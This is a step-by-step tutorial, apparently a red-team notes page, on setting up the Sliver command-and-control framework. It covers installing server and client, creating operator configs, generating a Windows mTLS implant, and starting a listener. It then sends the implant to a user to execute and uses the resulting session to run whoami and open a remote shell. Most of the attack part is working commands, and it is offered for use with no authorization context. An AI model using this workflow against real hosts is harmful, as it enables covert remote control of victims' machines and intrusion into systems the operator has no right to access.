# Sliver C2

## Installation

1. Download the server application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip>

^ Whichever is the new release

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FLsmncOG0J0WiRCAgfq5X%2Fimage.png?alt=media\&token=3efca4f9-0b00-4da7-aa31-89e5696f6556)

2\. Unzip the file

$ unzip sliver-server\_linux.zip

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2Fb8qltrFag8aihhYxfv66%2Fimage.png?alt=media\&token=40fc61b5-795f-42ce-85b1-250af9e461db)

3\. Install the required Libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FbGDfe1Uc2jjuD7zuBIB0%2Fimage.png?alt=media\&token=0c7cfcc8-0a29-4bf6-80e5-71a3c488eecd)

4\. Run the application

$ sudo ./sliver-server

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FxSF2WK4AmIaI0vw8iZ6v%2Fimage.png?alt=media\&token=f2f93f52-759b-4c47-9c1d-9633c5006f63)

5\. Now we need to create a session for a player to connect, and then play the player database

$ new-player --operator brinkles --lhost 192.168.0.21

$ players

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FSsI0O1kQURbL0DyxXkJN%2Fimage.png?alt=media\&token=65717e4a-d37e-43be-bd0a-a746e5a6440f)

6\. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.

$ multiplayer

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FKIwKmLl1B11DaZPgsf9v%2Fimage.png?alt=media\&token=6635ae0e-7fd8-4f9b-98cd-1c8ae609062e)

## Client

Download the client application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip>

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FVp7qNjTwF11aYTd8P8Co%2Fimage.png?alt=media\&token=cc7a9d7e-6e6b-40cf-8840-0d404f7cf8fa)

Unzip the application

$ unzip sliver-client\_linux.zip

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FZVNAyHV4f4MP0nrtaFWL%2Fimage.png?alt=media\&token=7a9db059-4128-4c0a-ab57-4d5dd9a5af34)

Install the required libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FxFA4DrScpXpUJCFOoYpE%2Fimage.png?alt=media\&token=93db8a62-f6a7-4352-917e-bd1734491c01)

Try to run the application

$ sudo ./sliver-client

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FW8nwK9esjlpsMdn6rCyK%2Fimage.png?alt=media\&token=a99954f1-d096-416b-bda8-b3fec7dacef3)

This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs

Try to run the application again

$ sudo ./sliver-client

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FIAmKcbaYpiVE8If7ebwW%2Fimage.png?alt=media\&token=3c6ae203-b6b0-4220-a8b7-661b8c3d86ad)

We are logged into that player!&#x20;

## How to Use Sliver

$ help

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FNJbuo4m894AWTcufwH3y%2Fimage.png?alt=media\&token=ca2f87fc-2edd-41ee-adc9-a1588fb881f0)

Display players database:

$ players

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FHeeFGMTNlEw8FX1bg38g%2Fimage.png?alt=media\&token=a6e89950-f7a2-4fe9-bbd4-e6c14f8b9244)

To create new players accounts, this can only be run from the sliver server not the client

$ new-player --operator \<username>  --lhost \<DNS or IP of the server>

Display the Sliver version

$ version

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FsxOLMT2xADSq6YLbxzQx%2Fimage.png?alt=media\&token=f8c56cd7-28d5-4a53-a672-46a3f47af157)

## Generating Payload steps

We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.

$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FIznKheS156F80Xp51aTS%2Fimage.png?alt=media\&token=cd6f65d3-56d0-46f0-9518-30e140ea7dfd)

Now, we can start the listener. Types of listeners can be http, https, dns, and mtls

$ mtls

$ jobs

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FK8TpxJodUoKB3XttjyZE%2Fimage.png?alt=media\&token=b6b8ba88-b4dc-452a-a333-fd734e6543af)

Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FNsdRH2IPWRv8juZKDsRu%2Fimage.png?alt=media\&token=48c4de85-392f-427d-b61f-0456ea26ec2f)

Lets show all active sessions

$ sessions -h

$ sessions

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FMrtZVX0emLwy0XieKHSY%2Fimage.png?alt=media\&token=f4a5168e-0e62-49f3-80f5-0acb9f28be6c)

To kill the session, run...

$ session -k 1

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FWqUliIDF2QkDfZ2eHS7g%2Fimage.png?alt=media\&token=e885090d-656d-49ba-96ff-f4ecb4332be1)

To interact with the session, do...

$ sessions

$ session -i 7

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2F5i8beZUp1TiPxpOH0oVx%2Fimage.png?alt=media\&token=a0545560-dead-488e-884e-b70f3e64d5f9)

Running help you can see all the available commands to run

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FLSuR7acZfVNPKkIhk9Oi%2Fimage.png?alt=media\&token=efed15a4-f3e3-48b8-89b8-747a9d54903e)

Lets run some commands to test what you can do.&#x20;

$ whoami

$ info

$ shell

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FN4pMAmRRM0s7MXUJonQl%2Fimage.png?alt=media\&token=c322f08f-ce0d-4e3c-b05d-0998ce9b61df)

## Resources

<https://vk9-sec.com/how-to-set-up-use-c2-sliver/>
